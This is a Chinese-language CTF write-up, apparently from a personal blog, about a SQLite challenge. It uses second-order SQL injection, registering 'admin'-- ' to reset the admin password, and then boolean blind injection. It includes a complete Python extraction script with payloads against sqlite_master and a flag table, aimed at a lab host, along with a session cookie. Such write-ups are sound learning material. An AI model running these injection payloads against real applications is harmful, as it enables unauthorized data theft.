前言每天一道ctf,昨天说的要做一道,结果玩去了,没补,今天一定要再补一道,cccc
获取信息和思路
进入页面是个登录注册,登录成功后还可以改密码,登录admin是显示错误,那很容易判断是个二次注入,而且在修改密码界面源码中有
很明显的是单引号闭合方式
修改admin密码
我们创建admin'#的时候取修改竟然报错,说明#注释不了,我们换一种注释符
--空格成功,这里就需要学到新知识了,sqlite注入,这里不详细将,后面会出文章说明’然后成功进入admin界面
可以查询,我们可以猜测这应该就是注入地方,我们抓包
开始注入
判断闭合方式
我们通过1=1和1=2来判断,如果用or前面需要是不在的用户,发现是数字型,
我们以后就先',数字,"。还不行换方式
选择注入方法
毫无疑问这只能布尔盲注,因为只告诉你正确与否
import requests
s = requests.session()
url = "http://node4.anna.nssctf.cn:28658/query"#url头需要query的原因我放在下面
flag = ''
i = 0
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Za4eug.KTgSrk0rnWYGt0IhOroUgfBKgo8"}
while True:
i = i + 1
Max = 128
Min = 32
Mid = (Max + Min) // 2
while Min < Max:
#payload=f"-1 or unicode(substr((select group_concat(name) from sqlite_master),{i},1))>{Mid}"
#payload=f"-1 or unicode(substr((select group_concat(sql) from sqlite_master where name='flag' limit 0,1),{i},1))>{Mid}"
payload = f"-1 or unicode(substr((select flag from flag),{i},1))>{Mid}"
data = {
'id': payload
}
r = requests.post(url=url, data=data,headers=headers)
if "exist" in r.text:
Min = Mid + 1
Mid = (Min + Max) // 2
else:
Max = Mid
Mid = (Min + Max) // 2
flag = flag + chr(Mid)
print(flag)
原脚本加了if Mid == 32:break的判断会导致回显不完全,然后这个cookie很重要,url头需要query的原因我放在下面